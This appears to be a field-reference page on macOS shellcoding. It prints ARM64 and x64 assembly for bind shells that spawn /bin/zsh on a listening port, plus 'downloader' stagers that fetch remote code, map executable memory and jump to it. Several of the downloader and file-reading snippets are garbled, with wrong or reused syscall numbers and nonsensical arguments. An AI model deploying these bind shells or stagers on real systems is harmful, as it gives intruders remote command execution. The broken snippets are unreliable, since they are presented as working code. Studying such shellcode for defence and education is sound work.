Why this topic matters
Macos Shellcoding matters because it changes how an operator frames the problem, chooses validation steps and decides what evidence is strong enough to keep. In real work, weak handling of this topic leads to wasted time, noisy testing and softer findings.
This brief treats macos shellcoding as a reusable field reference. The focus is on attack surface, decision points, practical workflow and the public material that is worth keeping nearby when you need to execute, verify or explain the subject under pressure.
Core coverage
The points below capture the main workflows, concepts, tools and operator decisions associated with macos shellcoding.
- Arm (silicon) makefile
- Arm (silicon) bind shell shellcode
- Arm (silicon) ftp downloader shellcode
- Arm (silicon) http downloader shellcode
- Arm (silicon) reverse shell shellcode
- Arm (silicon) orw shellcode (open, read, write)
- X64 makefile
- X64 bind shell shellcode
- X64 ftp downloader shellcode
- X64 http downloader shellcode
Commands and snippets
build: as hello_world.asm -o hello_world.o ld hello_world.o -o hello_world -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
.global _main .align 4 _main: mov X0, #2 ; domain = PF_INET mov X1, #1 ; type = SOCK_STREAM mov X2, XZR ; protocol = IPPROTO_IP mov X16, #97 ; BSD system call 97 for socket svc #0xFFF ; execute system call mov X11, X0 ; save socket descriptor mov X2, #16 ; address_len = 16 bytes mov X4, #0x200 ; sin_len = , sin family = 2 movk X4, #0xD204, lsl#16 ; sin_port = 1234 = 0x04D2 (big endian fot TCP/IP) stp X4, XZR, [SP,#-16]! ; push sockaddr_in to stack mov X1, SP ; pointer to sockaddr_in structure mov X16, #104 ; BSD system call 104 for bind svc #0xFFF ; execute system call mov X0, X11 ; restore saved socket descriptor mov X1, XZR ; backlog = null mov X16, #106 ; BSD system call 106 for listen svc #0xFFF ; execute system call mov X0, X11 ; resture saved socket descriptor mov X1, XZR ; ignore address store mov X2, XZR ; ignore length of address structure mov X16, #30 ; BSD system call 30 for accept svc #0xFFF ; execute system call mov X12, X0 ; save new socket descriptor mov X16, #90 ; BSD system call 90 for dup2 mov X1, #2 ; file descriptor 2 = STDERR svc #0xFFF ; execute system call mov X0, X12 ; restore ned socket descriptor mov X1, #1 ; file descriptor 1 = STDOUT svc #0xFFF ; execute system call mov X0, X12 ; restore new socket descriptor lsr X1, X1, #1 ; file descriptor 0 = STDIN svc #0xFFF ; execute system call mov X3, #0x622F ; move "/bin/zsh" into X3 (little endian in four moves) movk X3, #0x6E69, lsl#16 movk X3, #0x7A2F, lsl#32 movk X3, #0x6873, lsl#48 stp X3, XZR, [SP, #-16]! ; push path and terminating 0 to stack mov X0, SP ; save pointer to argv[0] stp X0, XZR, [SP,#-16]! ; push argv[0] and terminating 0 to stack mov X1, SP ; move pointer to argument array into X1 mov X2, XZR ; third argument for execve mov X16, #59 ; BSD system call 59 for execve svc #0xFFF ; execute system call
.section __TEXT,__text
.global _start
_start:
; URL der herunterzuladenden Datei
mov x0, url
; Pfad, in dem die Datei gespeichert werden soll
mov x1, ziel_pfad
; Herunterladen der Datei
xor x2, x2 ; Null-terminierte Zeichenkette
mov x16, 0x2000005 ; system call number for open
svc #0
; Datei erstellen oder öffnen
mov x0, x0 ; file descriptor
mov x2, 0x1000 ; Puffergröße
mov x1, buffer
xor x16, x16 ; Datei lesen
svc #0
; prepare a memory region for shellcode
mov x0, sp ; pointer to the stack
sub x0, x0, 0x1000 ; Verschieben um 4096 Bytes
mov x1, buffer
mov x2, x0 ; Länge des gelesenen Shellcodes
mov x16, 0x200004 ; system call number for mmap
xor x10, x10 ; Flags (MAP_PRIVATE | MAP_ANONYMOUS)
xor x8, x8 ; Datei-Deskriptor (ignoriert)
xor x9, x9 ; Offset in der Datei (ignoriert)
svc #0
; Shellcode in den Speicher kopieren
mov x0, x0 ; Zieladresse
mov x1, buffer
mov x2, x0 ; Länge des Shellcodes
xor x16, x16 ; Datei lesen
svc #0
; Shellcode ausführen
mov x0, x0 ; Shellcode-Adresse
xor x16, x16 ; Exit-Code 0
blr x0
; Programm beenden
mov w0, 0 ; Exit-Code 0
mov x16, 0x2000001 ; system call number for exit
svc #0
.section __DATA,__data
url: .asciz "ftp://example.com/deine_datei.txt"
ziel_pfad: .asciz "/pfad/zur/dein_datei.txt"
buffer: .space 4096.section __TEXT,__text
.global _start
_start:
; URL der herunterzuladenden Datei
ldr x0, =url
; Pfad, in dem die Datei gespeichert werden soll
ldr x1, =ziel_pfad
; Herunterladen der Datei
xor x2, x2 ; Null-terminierte Zeichenkette
mov x16, 0x2000005 ; system call number for open
svc #0
; Datei erstellen oder öffnen
mov x8, x0 ; file descriptor
mov x2, 0x1000 ; Puffergröße
ldr x1, =buffer
xor x0, x0 ; Datei lesen
mov x16, 0x2000003 ; system call number for read
svc #0
; prepare a memory region for shellcode
mov x0, sp ; pointer to the stack
sub x0, x0, 0x1000 ; Verschieben um 4096 Bytes
mov x1, x0 ; Zieladresse
mov x2, x0 ; Größe
mov x3, 0x7 ; PROT_READ | PROT_WRITE | PROT_EXEC
mov x8, 0x0 ; Flags
mov x16, 0x200001f ; system call number for mmap
svc #0
; Shellcode in den Speicher kopieren
mov x1, x0 ; Zieladresse
ldr x2, =buffer
mov x3, x0 ; Länge des Shellcodes
mov x0, x8 ; Datei lesen
mov x16, 0x2000003 ; system call number for read
svc #0
; Shellcode ausführen
mov x0, x1 ; Shellcode-Adresse
blr x0
; Programm beenden
xor x0, x0 ; Exit-Code 0
mov x16, 0x2000001 ; system call number for exit
svc #0
.section __DATA,__data
url: .asciz "https://example.com/deine_datei.txt"
ziel_pfad: .asciz "/pfad/zur/dein_datei.txt"
buffer: .skip 4096section __TEXT,__text
global _start
_start:
; Datei öffnen
mov x0, 0 ; system call number for open
ldr x1, =pfad_zur_datei
eor x2, x2 ; Flags (O_RDONLY)
mov x16, 0x1000003 ; system call number for open
svc 0x80
; file descriptor in X0 speichern
mov x0, x0
; Inhalt der Datei lesen
mov x0, 1 ; system call number for read
mov x1, x0 ; file descriptor
ldr x2, =buffer
mov x3, 4096 ; Maximale Länge des zu lesenden Inhalts
mov x16, 0x1000003 ; system call number for read
svc 0x80
; write the contents to standard output
mov x0, 1 ; system call number for write
mov x1, 1 ; file descriptor 1 (standard output)
ldr x2, =buffer
mov x3, x0 ; Anzahl der gelesenen Bytes
mov x16, 0x1000003 ; system call number for write
svc 0x80
; Programm beenden
mov x0, 0 ; Exit-Code 0
mov x16, 0x1000001 ; system call number for exit
svc 0x80
section __DATA,__data
pfad_zur_datei: .asciz "/pfad/zur/datei.txt"
buffer: .space 4096build: nasm -f macho64 execute_command.asm ld -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib -lSystem execute_command.o -o execute_command
bits 64 global _main _main: ;socket push 0x2 pop rdi ; RDI = AF_INET = 2 push 0x1 pop rsi ; RSI = SOCK_STREAM = 1 xor rdx, rdx ; RDX = IPPROTO_IP = 0 ;store syscall number on RAX push 0x61 ; put 97 on the stack (socket syscall#) pop rax ; pop 97 to RAX bts rax, 25 ; set the 25th bit to 1 syscall ; trigger syscall mov r9, rax ; save socket number ; bind mov rdi, r9 ; put saved socket fd value to RDI = socket fd ; Begin building the memory structure on the stack xor rsi, rsi ; RSI = sin_zero[8] = 0x0000000000000000 push rsi ; ; next entry on the stack should be 0x00000000 5c11 02 00 = (sin_addr .. sin_len) mov esi, 0x5c110201 ; port sin_port=0x115c, sin_family=0x02, sin_len=0x01 dec esi ; sin_len=0x00 push rsi ; push RSI (=0x000000005c110200) to the stack push rsp pop rsi ; RSI = RSP = pointer to the structure push 0x10 pop rdx ; RDX = 0x10 (length of socket structure) ;store syscall number on RAX push 0x68 ; put 104 on the stack (bind syscall#) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 syscall ; trigger syscall ;listen mov rdi, r9 ; put saved socket fd value to RDI xor rsi, rsi ; RSI = 0 ;store syscall number on RAX push 0x6a ; put 106 on the stack (listen syscall#) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 syscall ; trigger syscall ;accept mov rdi, r9 ; put saved socket fd value to RDI xor rsi, rsi ; *address = RSI = 0 xor rdx, rdx ; *address_len = RDX = 0 ;store syscall number on RAX push 0x1e ; put 30 on the stack (accept syscall#) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 syscall ; trigger syscall mov r10,rax ; save returned connection file descriptor into R10 ;dup2 mov rdi, r10 ; put the connection file descriptor into RDI push 2 pop rsi ; set RSI = 2 dup2_loop: ; beginning of our loop push 0x5a ; put 90 on the stack (dup2 syscall#) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 syscall ; trigger syscall dec rsi ; decrement RSI jns dup2_loop ; jump back to the beginning of the loop if RSI>=0 ;execv xor rdx, rdx ; zero our RDX push rdx ; push NULL string terminator mov rbx, '/bin/zsh' ; move our string into RBX push rbx ; push the string we stored in RBX to the stack mov rdi, rsp ; store the stack pointer in RDI push rdx ; argv[1] = 0 push rdi ; argv[0] = /bin/zsh mov rsi, rsp ; argv = rsp - store RSP's value in RSI push 59 ; put 59 on the stack pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 syscall
section __TEXT,__text
global _start
_start:
; URL der herunterzuladenden Datei
mov rdi, url
; Pfad, in dem die Datei gespeichert werden soll
mov rsi, ziel_pfad
; Herunterladen der Datei
xor rdx, rdx ; Null-terminierte Zeichenkette
mov rax, 0x2000005 ; system call number for open
syscall
; Datei erstellen oder öffnen
mov rdi, rax ; file descriptor
mov rdx, 0x1000 ; Puffergröße
mov rsi, buffer
xor rax, rax ; Datei lesen
syscall
; prepare a memory region for shellcode
mov rdi, rsp ; pointer to the stack
sub rdi, 0x1000 ; Verschieben um 4096 Bytes
mov rsi, buffer
mov rdx, rax ; Länge des gelesenen Shellcodes
mov rax, 0x200004 ; system call number for mmap
xor r10, r10 ; Flags (MAP_PRIVATE | MAP_ANONYMOUS)
xor r8, r8 ; Datei-Deskriptor (ignoriert)
xor r9, r9 ; Offset in der Datei (ignoriert)
syscall
; Shellcode in den Speicher kopieren
mov rdi, rax ; Zieladresse
mov rsi, buffer
mov rdx, rax ; Länge des Shellcodes
xor rax, rax ; Datei lesen
syscall
; Shellcode ausführen
mov rdi, rax ; Shellcode-Adresse
xor rax, rax ; Exit-Code 0
call rdi
; Programm beenden
xor edi, edi ; Exit-Code 0
mov rax, 0x2000001 ; system call number for exit
syscall
section __DATA,__data
url: db "ftp://example.com/deine_datei.txt", 0
ziel_pfad: db "/pfad/zur/dein_datei.txt", 0
buffer: times 4096 db 0Curated public references
- pwntools Documentationdocs.pwntools.com/en/stable/
- gef-legacy.readthedocs.io · Latestgef-legacy.readthedocs.io/en/latest/
- pwndbgpwndbg.re/
- Shell-Stormshell-storm.org/
- Exploit Databaseexploit-db.com/
